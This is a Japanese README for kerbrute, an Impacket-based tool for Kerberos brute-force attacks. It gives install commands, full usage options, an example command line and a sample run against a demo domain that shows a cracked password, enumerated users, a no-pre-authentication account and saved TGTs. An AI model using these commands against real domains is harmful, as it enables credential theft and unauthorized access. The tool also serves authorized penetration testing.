kerbrute

Impacketライブラリを使用してKerberosのブルートフォース攻撃を行うスクリプトです。

実行時には、ユーザー（またはユーザーリスト）とパスワード（またはパスワードリスト）を入力として受け取り、以下の情報を列挙するブルートフォース攻撃を実行します。

有効なユーザー名/パスワードのペア
有効なユーザー名
事前認証が不要なユーザー名

結果として、スクリプトは発見された有効な認証情報のリストと、それらの有効な認証情報によって生成されたTGTを生成します。

インストール

pypiから:

pip3 install kerbrute

リポジトリから:

git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt

使い方

引数なしのヘルプ:

root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
                   [-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
                   [-dc-ip <ip_address>] [-threads THREADS]
                   [-outputfile OUTPUTFILE] [-no-save-ticket]

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -user USER            User to perform bruteforcing
  -users USERS          File with user per line
  -password PASSWORD    Password to perform bruteforcing
  -passwords PASSWORDS  File with password per line
  -domain DOMAIN        Domain to perform bruteforcing
  -dc-ip <ip_address>   IP Address of the domain controller
  -threads THREADS      Number of threads to perform bruteforcing. Default = 1
  -outputfile OUTPUTFILE
                        File to save discovered user:password
  -no-save-ticket       Do not save retrieved TGTs with correct credentials

例: 
	./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com

実行例:

root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt

kerbrute

人気

kerbrute

インストール

使い方